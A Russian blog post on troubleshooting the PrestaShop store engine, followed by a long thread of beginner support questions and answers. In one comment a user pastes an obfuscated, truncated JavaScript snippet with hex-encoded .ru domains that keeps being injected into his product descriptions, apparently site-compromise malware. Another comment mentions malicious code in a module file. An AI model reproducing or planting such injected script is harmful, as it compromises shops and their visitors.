сентября 10, 2012

PrestaShop: решение проблем

Ко мне в скайп часто стучаться с проблемами, решение которых не требует особых навыков, но начинающие разработчики не знают как это сделать, т.к хорошей документации для начинающих нет. Поэтому я решила выделить для этого на блоге web-esse.ru отдельный пост. Все вопросы которые у вас возникают, но соответствующего поста у меня нет, можно задавать тут (т.е перед тем как задать вопрос – ознакомьтесь с содержимым блога, возможно я об этом уже писала). Наиболее интересные из комментариев будут переноситься в текст поста.

1.Не работает поиск prestashop

Обычно под этой эпичной фразой подразумевается, что поиск не выводит вновь добавленные товары.
Если это первое обновление товаров, после удаления дефолтных и загрузки вашего асортимента, то необходимо:
-В первую очередь сбросить настройки (Модули -> модуль поиска -> “Сбросить”)

– После этого нужно переиндексировать товары.
Настройки – Поиск – переиндекстировать
Preferences -> Search -> Re-build entire index.

2. Prestashop тормозит

Чаще всего для решения проблемы достаточно включить кеширование и отключить компиляцию. Когда вы только поставили престу, по умолчанию эти опции настроены для режима работы. Но если вы поручаете, что то переделать в вёрстке, то для того чтоб шаблон обновился разработчик выключает кеширование и включает компиляцию. Иногда специалист может забыть вернуть обратно…
Если у Вас “тормозит магазин” в первую очередь проверьте опции кеширования:
Preferences -> Performance (Force compile:No; Cache:Yes)
Настройки -> Производительность (Компиляция:Нет; Кеш:Да)
Есть конечно и другие причины медленной загрузки, например, не подходящий хостинг. Для разных нагрузок нужны разные тарифы, надеюсь что мой обзор поможет выбрать хороший хостинг: Хостинг для PrestaShop

3. Я поменял что то (телефон, заголовок и т.п) в шаблоне, но он не обновляется

Как я уже написала выше, после установки магазина настройки оптимизированы для быстрой загрузки шаблона. Поэтому информация, которая передаётся пользователю берётся не из tpl шаблона.
Есть два набора настроек:
1. Режим разработки – это например, вёрстка, внесение правок в шаблон модулей и т.п. В этом режиме Кеширование должно быть выключено, а компиляция включена.
2. Режим нормальной работы, т.е когда в магазин заходят покупатели совершают покупки, а вы при этом ничего не делаете с шаблоном. В этом режиме важна скорость загрузки страницы, поэтому нужно включить кеширование и выключить компиляцию шаблона.

При этом если в просто обновили товар или написали статью – кеширование отключать не нужно, вся информация обноситься и так.

4. PrestaShop:”Способ доставки не найден”

Значит у курьера не поставлена галочка в области которую вы выбираете. Например, в дефолтной настройка у России стоит зона “Europe (out E.U)” – значит в курьере тоже должна стоять там галочка.
При настройке доставки будет полезна статья: PrestaShop: Настройка компонента “Доставка”

5. Как отредактировать текст на главной странице

За это отвечает модуль Home text editor


Комментарии

  • Yabadabady

    Спасибо огромное!!!! я то ломал голову почему у меня в магазине на престашоп в поиске новые товары не появляются…. СПАСИБО от всей души!!!

    • Пожалуйста)

      • sanek

        Подскажите пожалуйста как выравнять в одну линии ссылки в верху страницы “контакты”,”карта сайта”,”в закладки” ,валюта и флаг, сейчас флаг и валюта вверху а под ними “контакты”,”карта сайта”,”в закладки”?

  • Milansa

    Здравствуйте. Я случайно удалила корзину, и не могу ее никак восстановить. При обновлении шаблона загружается все что угодно, только не корзина =( Все настройки сбились, а корзина так и не появилась. Помогите мне ее вернуть, пожалуйста..

    • Модуль корзины нужно брать не из шаблона, а из архива файлов движка вашей версии – скачать можно на оф сайте, а вот визуальные изменения (шаблон) – уже из темы

  • MishaGum

    Да!!! решение проблем с Prestashop отличная тема!!! Надеюсь вы её будете дополнять т.к. есть такие проблемы которые можно исправить только зная конкретно что и где нужно сделать. Спасибо!

  • RishadMu

    Добрый день, Анастасия, возникла проблема – при установке Prestashop 1.4.9 не отображаются модули в панеле администратора, не понимаю в чём проблема. Была у вас такая проблема? если да, то подскажите есть какое то решение?

    • Как я понимаю вместо модулей “белый лист”? В первую очередь, если что то не отображается – всегда включайте отображение ошибок компилятора. Думаю проблема для многих актуальна – вынесу решение в пост.

  • Golfp-96

    Анастасия, здравствуйте, есть два вопроса, помогите, если сочтете возможным. Использую стандартную тему, не могу поменять в футере “Sitemap” на “Карта сайта”. В процессе поиска решения сбросил (Сброс) Блок постоянных ссылок, после восстановления он переехал в область между главным меню и Новинками, как вернуть его обратно?
    И еще вопрос – вышла новая версия, как перенести в нее перевод меню админ панели? В какой таблице он сидит?

    • Первая часть вопроса – в позиционировании (страничка в разделе модули) перенести из хука Top в хук Footer – как сделать, читайте на блоге

      Для новой версии (если вы об 1.5) – есть свой перевод или вам нужно собственные названия вкладок – тогда поменяйте их в разделе “Администрирование” -“Меню”

  • admpetr

    Анастасия, прошу ромощи:
     Магазин (версия 1.4.4.0) работал несколько месяцев без проблем. Черт
    дернул сделать архив базы. В результате архив есть, а магазин перестал
    работать. В администраторе (русифицирован) все нормально, все работает, но вместо
    главной страницы магазина выскакивает:Fatal error: Uncaught
    XML_Feed_Parser_Exception:
    Invalid input: this is not valid XML in
    /home/sait/public_html/modules/blockrss/blockrss.php
    on line 145 Exception
    trace
    #FunctionLocation
    0XML_Feed_Parser->__construct(‘Невозмож…’)/home/sait/public_html/modules/blockrss/blockrss.php:145
    1Blockrss->hookLeftColumn(Array)/home/sait/public_html/classes/Module.php:716
    2ModuleCore::hookExec(Array,
    Array)/home/sait/public_html/classes/FrontController.php:476
    3FrontControllerCore->displayHeader(‘lef
    in /homesait/public_html/tools/pear_xml_parser/Parser.php on line 101Помогите

    • Странно, процедура бэкапа не могла привести к плачевным последствиям….
      Отключите модуль на который ругается компилятор – blockrss

  • Gos1984

    Анастасия, здравствуйте!
    Прошу Вашей помощи, в проблеме с выводом категорий
    У меня версия 1.4.4.0, как можно скрыть некоторые id категорий в homecategories, не затрагивая при этом стандартный модуль категорий?
    Т.е. в стандартном написано следующее:  отделочные материалы -> затирка, шпатлевка и т.д.
    Мне нужно чтобы в homecategories отображались только подкатегории (затирка, шпатлевка и т.д.)

    В другом случае: пиломатериалы – имеющие тот же уровень, что и отделочные материалы, отображались в homecategories
     

    • Не работала с модулем homecategories

  • Екатерина

    Анастасия, а если модуля home text editor нет?

    И еще – как поправить ссылку в футере?

  • Victor

    Анастасия, спасибо за статью. У меня вопрос как вообще можно поменять содержимое “Блока постоянных ссылок”. Например: убрать оттуда Login и добавить ссылку на страницу.

    • Редактированием tpl шаблона, название модуля можно легко найти по разделу Позиционирование или Расоложение

  • Arto

    Помогите, сделал таблицу в HTML, текст и изображение не сохраняет. Выбивает ошибку при сохранении “The following field is invalid according to the validate method isCleanHtml:
    (EditorialClass->body_paragraph = Хозтовары Отделочные материалы Строительные материалы NONE NONE Инструменты Электроинструменты // for language 7)”. Сброс не помогает. Заполнен текст на русском языке, и стоит русский флаг, менял на разные таже ошибка. Версия PrestaShop 1.4.9 и домашний текстовый редактор для PrestaShop v1.6. Подскажите, что мне делать?

  • Ростислав

    Торможение Престы часто может быть связано еще с большим количеством установленных, но не используемых модулей (серенькие галочки). Просто деинстальте что вам точно не нужно. А то что ТОЧНО-ТОЧНО не нужно – вообще удалите, большое количество модулей иногда приводит к тому, что вкладка Модули не открывается – недостаточный объем оперативки у хостера.

    • Юрчик

      Ростислав, у меня именно такая проблема. при смене хостера, “кладка Модули не открывается”. какой объем этой памяти спрашивать у хостера?

      • Добрый день, прежде чем обращаться к хостеру рекомендую включить отображение ошибок – по показанной ошибке возможно удастся точнее определить проблему.

    • Юрчик

      и что еще может быть причиной такого глюка в бэк-офисе?

  • Ростислав

    Способы доставки по Europe (out E.U) – это конечно полный дурдом! ;)) Это все равно, что отослать письмо адресату, указав только город. для России нужно создать как минимум 5 основных почтовых зон, и распихать по ним регионы. Кому нужно, пишите на мыло, у меня есть модуль Локализатора, с распределенными по зонам регионами России и Украины.

    • У Вас своя разработка или модуль локализатора от престалаб?

  • Arto

    как удалить горизонтальное меню на главной, которое идет с шаблоном??? Установил новое меню, а старое не знаю где на ftp удалить.

  • Valeriy

    Подскажите пожалуйста начинающему, как сделать чтобы после выбора категории товара, и клике на производителя отображались только товары этого производителя из этой категории

  • Arto

    Как решить проблему импорт товара таблицей exel через CSV ???? Закинул, товар видно, но на сам товар через магазин зайти нельзя выбивает вот такое: Error: No such file or directory что делать почти все модули удалил.

    • Опишите проблему подробнее. 1. Импорт проходит без ошибок? 2. Где видно товар, в админке, на главной? 3. Версия престы, включено ли чпу

  • Людмила

    Подскажите, пожалуйста, в моем шаблоне нет возможности в админке редактировать текст описания категории. Неужели все надо корректировать в коде? Я имею в виду выделения, подзаголовки и т.д. в самом тексте. Спасибо

    • Да в стандартной конфигурации престы есть такая проблема. Решается доработкой кода админки.

  • Арто

    Как перевести слово в корзине на главной (корзина пустая)???
    Все переводы переведены, весь сайт на русском а одно слово на англ.
    http://stroybum.net

    • Антон

      принудетельную Компиляцию в настройках поставь.

    • Есть два решения:
      1. Добавьте языковой файл ru.php в модуль blockcart, в него запишите перевод
      2. Поменяйте перевод в tpl файле

  • Carbon_luna

    Prestashop 1.5.3.1 При заказе более одного продукта, покупателю приходят email подтверждения на каждый продукт – вместо одного с общей суммой. Подскажите, пожалуйста, где и как насторить, если это вообще можно настроить!? Спасибо

    • У меня приходит одно сообщение, может есть ещё какие то условия? например, каждый товар отдельным заказом формируется или в наличие нет, на момент заказа….

  • Serg

    Как вставить изображение подскажите пжл

    • Отредактировать стили, файл global.css

  • Traktor

    Cори если не сюда обратился, может подскажете?
    В фильтре не отображается цвет, точнее отображается только название цвета. Как это можно исправить??
    Заранее благодарен!

    • Traktor

      В настройках модуля нет возможности установить такой вид отображения

  • Вячеслав

    Помогите начинающему как скрыть определенную категорию? вот код

    {$node.name|escape:’htmlall':’UTF-8′}
    {if $node.children|@count > 0}

    {foreach from=$node.children item=child name=categoryTreeBranch}
    {if $smarty.foreach.categoryTreeBranch.last}
    {include file=”$branche_tpl_path” node=$child last=’true’}
    {else}
    {include file=”$branche_tpl_path” node=$child last=’false’}
    {/if}
    {/foreach}

    {/if}

    Мне нужно что на нее можно было ссылаться но чтобы ее не видно было?

    • Скиньте в скайп или на почту код

  • Михаил

    Здравствуйте! Подскажите пожалуйста как отображать количество товара в категории? presta 1.4.4

    • При отображении страницы категории рядом с заголовком или в меню?

      • Михаил

        В меню

        • Только доработкой функционала.

          • Михаил

            Спасибо!

  • Светлана

    Добрый день.
    Подскажите пожалуйста, как при оформлении заказа показать покупателю общий вес заказанных товаров, и возможно ли это, ну или для каждого товара по отдельности? Вот, к примеру при оформлении заказа в корзине есть Товар, Описание, Арт. Арт это что такое? Вместо этого Арт можно вывести вес?
    Спасибо.

    • Изменением вёрстки – можно

  • Сергей

    Здравствуйте! При переносе на другой хостинг у меня перестал работать поисковик сайта. Сброс сделал, переиндексацию сделал – ничего не помогло. Что Вы мне посоветуете.

    • Сергей

      Решил самостоятельно внесением изменения значения в коде Search.php

  • Евгения

    Добрый вечер! ПОмогите, пожалуйста, с Prestashop 1.5.
    Как разместить модули только на главной странице перед вкладками leftcolumn b centercolumn во всю ширину?:

    • Добрый день, есть несколько способов:
      1. Добавить новый хук
      2. Использовать существующий – top, добавить туда модуль и прописать в исключениях остальные страницы

  • Алина

    Добрый день. Столькнулась с такой проблемой. Модуль Текстовый редактор главной страницы в списке Позиции есть, а в списке модулей фронт-офиса – нету. Как сделать, чтобы он там выводился, потому что не возможно иначе отредактировать текст на главной?

  • BayChi

    Здравствуйте, Анастасия. Нужна ваша помощь. Как мне изменить URL моих продуктов со включенным ЧПУ, что поисковые системы корректно индексировали мой сайт?

    Сейчас: http://moysite.ru/videockamery/sony-WU-8000.html

    Нужно: http://moysite.ru/product/videockamery/sony-WU-8000.html

  • BayChi

    Здравствуйте! Как и где мне исправить URL для корректного отображения ссылок в адресной строке, а то Яндекс и Гугл не совсем правильно индексируют товары с моего сайта при запросах.

    Яндекс выводит ссылку на товар так: baychi.ru/товар/jq-emsx0027/

    А мне нужно так: http://baychi.ru/zhenskie/15jq-emsx0027.html или лучше так: http://baychi.ru/product/jq-emsx0027.html

  • Sas

    Всем привет!

    Помогите, решить проблему. Не могу войти в админку. Пишет вот такую ошибку: Warning: Invalid argument supplied for foreach() in /home/p183203/…./classes/Profile.php on line 145
    Warning: Cannot modify header information – headers already sent by (output started at /home/p183203/…./classes/Profile.php:145) in /home/p183203/…../classes/Tools.php on line 141. Что это значит и что сделать, чтобы все снова заработало? Заранее спасибо!!!!

    • Добрый день, чтоб понять в чём проблема нужно узнать, что вы сделали перед возникновением проблемы? Обновляли, ставили модуль, вносили правки….

      • sas

        В том то и дело, что не понятно почему. Сами мы никаких модулей не ставили, правки не вносили, возможно было обновление, но мы так и не знаем. С вечера все работало, а утром вот такие ошибки выдает.

        • “Само” не могло сломаться, преста не обновляется автоматически…. Откатитесь на хостинге на бэкап в котором всё работает.

  • Alex Breeze

    Доброго времени суток!;)
    При вёрстке шаблона в Prestashop столкнулся с проблемой вывода текста кириллицей вне модулей на экран. Причем в локализованных модулях с этим всё более-менее нормально, а в местах страницы, где требуется вывести не связанный с тем или иным модулем текст, например “Цена”, там как раз и начинается вся эта беда-печаль в виде ???? символов.

    Кодировка стоит UTF-8.

    Единственную причину вижу в том, что неправильно пытаюсь вывести на экран текст.

    Как это лучше сделать?

    • Если не кириллица отображается корректно, значит не совпадает кодировка в связке: Кодировка файла – кодировка отдаваемая в заголовке или сервером – кодировка в браузере.

  • Ириша

    Здравствуйте, помогите, пожалуйста. Пару дней назад начала тормозить админка. Не меняла в настройках ничего! Сам сайт работает нормально, без изменений. Тормозят все разделы админки, любые переходы на другой раздел админки или просто при обновлении страницы. От 20 секунд до 1,5 минут не происходит ничего, потом загружается за 2-3 сек. Не тормозит только раздел МОДУЛИ. В чем может быть проблема?

    • Для начала исключите проблему с хостингом, поставив копию на локалке и проверив скорость работы.

  • Mariia

    Добрый день! Подскажите, можно ли как-нибудь добавлять дополнительный текст в описаниях категорий, чтобы он отображался под сеткой товаров? Нашла только модуль редактирования текста на главной.
    Версия Престашоп 1.6.0

    • Если нужно помимо основного текста в категории вывести ещё один – в другом месте, то только добавлением дополнительного поля в админке

      • Мила

        Snegurka, а можно подробней описать что сделать для “чайников”.
        Мне тоже нужно, чтобы описание категории было не на картинке, а под товарами.
        У меня версия PrestaShop 1.6.1.2

        • Это довольно сложный процесс для чайников, т.к требуется вносить правки в таблицы БД и код контроллеров – при не аккуратных действия можно “поломать” магазин

  • Mira

    Здравствуйте, пожалуйста, помогите! удалила случайно модуль skrill.как его теперь обратно добавить?

    • skrill – бесплатный модуль, его можно скачать на адонсах и загрузить на ваш фтп.

  • Ольга Белова

    Здравствуйте,
    Подскажите пожалуйста как исправить ошибку: Блок ЛОГИН и My ACCOUNT выдают неправельную ссылку и открывается страница вот с такой ссылкой (http://www.olgasilk.com/login?back=my-account) и во таким текстом (

    Internal Server Error

    The server encountered an internal error or misconfiguration and was unable to complete your request.

    Please
    contact the server administrator, cgiadmin@yourhostingaccount.com and
    inform them of the time the error occurred, and anything you might have
    done that may have caused the error.

    More information about this error may be available in the server error log.

    Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.)

    Провайдер меня конечно-же послал, сказали начинайте все с нуля. Мне кажется глупо начинать все с нуля если это просто ошибка и ее можно исправить.
    Подскажите пожалуйста как подправить код чтоб работало

    P.S. модули встроенные, после появления ошибки я их переустанавливала, не помогло

    • Ольга Белова

      Ошибка возникла после переноса магазина с директива http://www.olgasilk.com/store2 на основную

      • Скорее всего ссылки прописаны в ручную в модуле – внесите исправления в шаблон

  • алишер

    поиск всё равно не работает помогите пожалуйста http://inopol.ru вот этот сайт

  • Ольга

    Здравствуйте, да с доставкой проблема распространенная. Но вы еще забыли пр ошибку отправки почты с админки. Да и вообще настройку почты. Я вот роде сделала, как пишут на форумах, но почта все равно не хочет работать((

    • Что за ошибка уточните подробнее

  • Юлия

    Добрый день. Подскажите пожалуйста, возможна ли в престе загрузка товара из цсв в разных валютах? Т.е. в файле указать например в долларах, а потом по курсу чтоб оно конвертировалось и на сайте отображалось в грн. Если это надо дописывать вручную, то сколько это может стоить?

  • Иван

    Привет!
    Помогите!
    Сбросил модуль товаров и модуль пропал. В списке модулей написан, что включен и установлен, но нигде не отображается. Что делать?

    • Проверьте в хуках: Модули -> Расположение. Есть ли он в нужном вам хуке (если напишите какой именно модуль и откуда пропал, напишу в каком хуке смотреть).

  • Олег Артемов

    Подскажите пожалуйста как перевести in stock на руский!?

    • Зависит от того где и в какой версии) Если в 1.6 то “Локализация” – “Переводы” и перевод вашего шаблона.

      • Николай Беляев

        нет там этого.
        default-bootstrap/lang/en.php:$_LANG['order-address-product-line_69d08bd5f8cf4e228930935c3f13e42f'] = ‘In Stock';
        default-bootstrap/lang/ru.php:$_LANG['order-address-product-line_69d08bd5f8cf4e228930935c3f13e42f'] = ‘В наличии';
        переведено уже :(

  • Артем

    Здравствуйте. Подскажите, можно ли вставить код гугл формы (надо установить код гугл формы для внесения заявок) на определенную страницу? Или подскажите как редактировать код определенной страницы. Версия престы 1.5.6.2. Спасибо

  • Евгений

    Добрый вечер.
    Помогите пожалуйста разобраться.

    Имеется интернет-магазин на Prestashop 1.3.1.1. Также есть выполненный сторонней компанией аудит сайта. Собственно по пунктам аудита я и хочу спросить.
    1. “Битые” ссылки. Они есть, но некоторые ведут на товар/поставщика, который отключен в каталоге. Нужно ли избавляться от них? Если да, то как это сделать правильно?
    2. Что такое ошибки mod-rewrite и как с ними бороться в Prestashop?
    3. Версия 1.3.1.1. Судя по оффсайту престы – уже давно не поддерживается. Какие проблемы может повлечь обновление? Что нужно забэкапить для беспроблемного отката? В какой последовательности накатывать версии? Будет ли работать шаблон от 1.3.x на поздних версиях?
    4. Как правильно править дизайн?

    • Добрый день, первый вопрос который нужно решить до доработок – нужно ли обновлять версию. Если доработок в движок не вносили – рекомендую обновиться, т.к в 1.6 функционал значительно шире. Шаблон возможно не будет работать, нужно смотреть.
      Ссылки можно быстро исправить через запросы к БД.
      “ошибки mod-rewrite и как с ними бороться в Prestashop” – опишите подробнее какие ошибки.

  • Люба

    Добрый день! Помогите, как поставить реквизиты для оплаты клиентом в который выдается в PDF

    • К сожалению базово в престе нет возможности редактировать счет pdf, данный функционал необходимо дорабатывать

  • Ольга

    Люди, добрый день! Помогите с export import в престашоп, чтобы как-то автоматизировать наполнение сайта

  • Ольга

    Помогите с ЭКСПОРТОМ и ИМПОРТОМ товаров!!!!!!!!!!!!!!!!!!!! ОЧЕНЬ НАДО!!!!
    red2000@pisem.net

  • wise

    Добрый день! Подскажите пожалуйста, как опубликовать текст на главной. Модуль “Home text editor” вообще не находит не в админке не на сайте.

    • Добрый день, модуль называется “editorial”, по умолчанию он не установлен. Так же в модуле “BLOCKCMSINFO” доступно создание текстовых блоков

      • wise

        спс

  • wise

    Подскажите пожалуйста, как на престе 1.6 добавить в атрибутах товара цвет, которого нет в списке?

    • “Каталог – Атрибуты товара” и там добавить

  • Сергей

    Недавно появилась проблема сохранения карточки товара. При сохранении в кратком описании в конце появляется скрипт:

    // <![CDATA[

    window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

    и при каждом сохранении дублируется.

    Сохранится нельзя, так как преста пишет:

    1 ошибка

    Поле description_short (Русский (Russian)) слишком длинное : 400 символов максимум (пересчитать сейчас 862)

    Что это такое и как с этим бороться?

    • Сергей

      а также появляется ещё один скрипт:

      // <![CDATA[

      window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

  • ROMA

    когда я выбор – каталог – -товар-

    [PrestaShopException]

    Root category must be an integer value
    at line 212 in file classes/helper/HelperTreeCategories.php

    207. }
    208.
    209. public function setRootCategory($value)
    210. {
    211. if (!Validate::isInt($value)) {
    212. throw new PrestaShopException(‘Root category must be an integer value’);
    213. }
    214.
    215. $this->_root_category = $value;
    216. return $this;
    217. }

    HelperTreeCategoriesCore->setRootCategory – [line 2504 - controllers/admin/AdminProductsController.php] – [1 Arguments]

    AdminProductsControllerCore->initContent – [line 189 - classes/controller/Controller.php]

    ControllerCore->run – [line 367 - classes/Dispatcher.php]

    DispatcherCore->dispatch – [line 58 - admin/index.php]

    помогите

    • Что то с категориями делали, откатите эти изменения

  • Эдуард

    помогите пожалуйста разобраться, почему и по какой причине перестало работать в интернет магазине пошаговое оформление заказа? можно выбрать товар, бросить в “корзину” изм.количество ну а дальше пропало “оформить заявку” и т.д.

    • Сложно сказать, нужно смотреть на сайте.

  • Александр

    Добрый день! На сервере (пользуюсь хостингом reg.ru) установил Панель управления хостингом ISP manager. Поставил на него Prestashop (1.6.1.4) через автоматическую установку с помощью инструмента Softaculous.Установка прошла успешно. Зашел в админку русифицировал ее изнутри. Саит почему то не открывается, пишет “На этой странице обнаружена циклическая переадресация ERR_TOO_MANY_REDIRECTS”. Подскажите пожалуйста в чем проблема? Спасибо

    • Сложно сказать удаленно.

  • Alex

    Добавьте, что если ткнуть “Модули -> модуль поиска -> “Сбросить”” – на версии 1.6 от этого слетает положение формы поиска. Вернуть штатными средствами не удалось. Сайт http://www.uameb.com

    • Сбрасываются все настройки на дефолтные, в том числе и расположение блока.

  • Максим Бондаренко

    Доброго времени суток!версия престы 1.6.1.4
    Проблема: создаю новый контроллер в админке но его система не может подключить!
    спотыкается в файле classes/Dispatcher.php

    try {

    //// Loading controller

    //echo $controller_class;exit;

    $controller = Controller::getController($controller_class);

    //echo $controller_class;exit;

    // Execute hook dispatcher

    if (isset($params_hook_action_dispatcher)) {

    Hook::exec(‘actionDispatcher’, $params_hook_action_dispatcher);

    }

    // Running controller

    $controller->run();

    } catch (PrestaShopException $e) {

    $e->displayMessage();

    }

    до попытки подключения $controller = Controller::getController($controller_class); известно имя класса после нет не могу разобраться в причине!
    помогите разобраться

    • Максим Бондаренко

      все решил проблему

  • Валерий

    Здравствуйте!
    Помогите разобраться.При оформлении заказа,после подтверждения заказа,выскакивает ошибка 500. Сайт же заказ принимает и отправляет сообщение покупателю что заказ принят. В чем беда – не пойму!?

    • Добрый день. Причин может много, например, не отправляется письмо подтверждение или какая то ошибка в модуле оплаты.

  • Vasia

    Помогите решить, обновился на 1.6.1.4,

    все вроде было норм.

    Но как только пытаюсь редактировать товар, в фронте пропадают изображения товара.

    Также не добавляются новые товары….

    такая хрень

    • Добрый день, а с какой версии обновлялись?

      • Vasia

        Спасибо, проблему решил. Помог “шарящий))” чел. Проблемы были в базе данных.

  • Vasia

    Уже две недели бьюсь, не могу решить проблему.

    Штука такая: после обновления престы что-то случилось с линками к картинкам, при включенном ЧПУ – пропадают.

    Еще не перегенирируются миниатюры, (скрин)

    Не добавляются, или добавляются коряво товары. Коряво к ним подгружает картинки. Скрин)

    При включении debug пишет, что страница переехала 8)) (скрин)

    Еще установлен симплблог, при попытке шернуть его текст в ФБ пишет “страница не найдена” (скрин)

    Вот как-то так…

    Возможно есть возможность перенести всех клиентов, правила корзины и группы клиентов на новую престу????

    Пробую экспортировать клиентов – пропадают некоторые поля, в т.ч пароли, их ваучеры…

    • Добрый день, с какой версии обновлялись?

  • Здравствуйте! Подскажите, пожалуйста, куда лезть за решением. После добавления комбинаций товару – на странице товара цена обнулилась (на главной и в корзине все правильно). При загрузке страницы товара цена на доли секунды высвечивается правильно, затем, как страница догрузится, меняется на ноль и на выбор атрибутов уже не реагирует. Преста 1.6.1.5.

    • Добрый день, нужно смотреть на сайте, возможно вносились изменения в шаблон – попробуйте протестировать на дефолтном.

  • Kursenko A.

    Добрый день. Помогите с проблемкой, я добавил в категории под категории, которые тоже начали добавляятся в главном горизонтальном меню. Миниатюра категорий появилась только у первой под категории, а все остальные даже не появлялись, хотя загружал по такому же принципу. Решил снести все подкатегории и сделать все заново, но не тут то было… Подкатегории отключил, а картинка на том же месте и осталась.
    в theme/category.tpl удалил блок изображения субкатегории. Но картинка всеравно на месте. Заранее Спасибо .
    Кэш браузер сайт чистил .

    • Kursenko A.

      Решение наше : оказывается картинка была от общей категори, почему том отображалась. Вопрос снят. Заранее спасибо :) всем хороших продаж !;))

      • Спасибо, что поделились решением! Вам тоже хороших продаж)

  • Мария

    Добрый день. xenu показывает битые ссылки. как их исправить или почистить?

    • Добрый день, сложно сказать удаленно, нужно смотреть код

  • Валентин Мидридов

    Всем привет! :)
    Поможите пожалуйста! Решить проблему. Я только новичек, учусь:) Есть домен в регру, и решил воспользоваться виртуальным хотингом хостмена,
    1)создал в панели хостмена доменное имя(который регался в регру),
    2)сделал записи А в управлениях зоной у регистратора, ip который дал хостинг,
    3)создал базу данных , пользователя , установил скрипт по установке престашоп 1.6.1.5
    4)сделал инсталяцию магазина, все ровно!
    5) удалил папку install, переименовал папку admina.
    6) зашел в панель управления престашоп магазином , все ровно поулчаеться я там даже уже и контент поменял курьеров сделал , в общем говоря панель открываеться!!!!

    А вот сам сайт магазина неоткрывается никак ,невкакую ,вообще, в чем проблема понять немогу….:(

    Поможиите!!!

    • Добрый день, для начала включите отображение ошибок, чтоб понять что именно не нравиться престе, раз админка работает, проблема скорее всего в шаблоне или модулях которые выводятся в шаблон

  • Здравствуйте,скажите пожалуйста как удалить вредоносный код
    ./simpashop.ru/public_html/modules/erpillicopresta/config/control.php

  • Елена

    Здравствуйте. Не корректно работает модуль комментарии к товару в дефолтной теме(при нажатии добавить комментарий ничего не происходит), в теме prestashop-работает (при нажатии на добавить коммент, высвечивается форма для заполнения). (версия prestashop 1.6.1.6)
    Такая же проблема с формой уведомить, когда товар появится.

  • Оля

    Не дублирует товар. В чем может быть причина? Спасибо

  • Сергей Патриков

    друзья, добрый день!
    У меня 2 проблемы, буду признателен за помощь!
    Первая проблема, при оформлении заказа мне перестало приходить уведомление на почту и на телефон, как это исправить!
    И вторая проблема, падает заказ, захожу в заказы, а он больше двух товаров не показывает, хотя их гораздо больше заказано, как это поправить??